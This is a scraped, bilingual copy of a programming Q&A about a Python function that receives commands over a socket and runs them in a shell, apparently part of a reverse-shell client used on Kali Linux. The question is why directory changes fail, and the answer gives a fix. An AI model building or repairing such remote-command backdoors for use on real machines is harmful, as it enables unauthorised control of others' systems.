简体   繁体   English

带有 os.getcwd() 的 Python os.chdir() 不起作用

[英]Python os.chdir() with os.getcwd() not working

def receive_commands():
    global s
    while True:
        data = s.recv(1024)
        if data[:2].decode("utf-8") == 'cd':
            #print(str(os.getcwd()) + char + data[3:].decode("utf-8"))
            os.chdir(str(os.getcwd()) + char + data[3:].decode("utf-8"))
            s.send(str.encode(os.getcwd()))
        if len(data) > 0:
            cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
            output_bytes = cmd.stdout.read() + cmd.stderr.read()
            output_str = str(output_bytes, "utf-8")
            #s.send(str.encode(output_str + str(os.getcwd()) + '> '))
            s.send(str.encode(output_str))
            print(output_str)
    s.close()

The problem is with os.chdir(str(os.getcwd()) + char + data[3:].decode("utf-8")) .问题在于os.chdir(str(os.getcwd()) + char + data[3:].decode("utf-8")) In my case I have a folder: /root/Desktop/Everything .就我而言,我有一个文件夹: /root/Desktop/Everything When os.getcwd() is /root/Desktop and char is / and data[3:].decode("utf-8") is Everything the command os.chdir(str(os.getcwd()) + char + data[3:].decode("utf-8")) doesn't work and throws the error: /bin/sh: 1: cd: can't cd to Everything .os.getcwd()/root/Desktop并且 char 是/并且data[3:].decode("utf-8")Everything命令os.chdir(str(os.getcwd()) + char + data[3:].decode("utf-8"))不起作用并抛出错误: /bin/sh: 1: cd: can't cd to Everything I don't understand considering os.chdir(str(os.getcwd()) + char + data[3:].decode("utf-8")) is equivalent to os.chdir('/root/Desktop/Everything') .我不明白考虑os.chdir(str(os.getcwd()) + char + data[3:].decode("utf-8"))相当于os.chdir('/root/Desktop/Everything')

Using python 3 on Kali linux.在 Kali linux 上使用 python 3。

子进程也试图更改目录,因此我将 'cd' if 语句集成到另一个中以修复它。

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM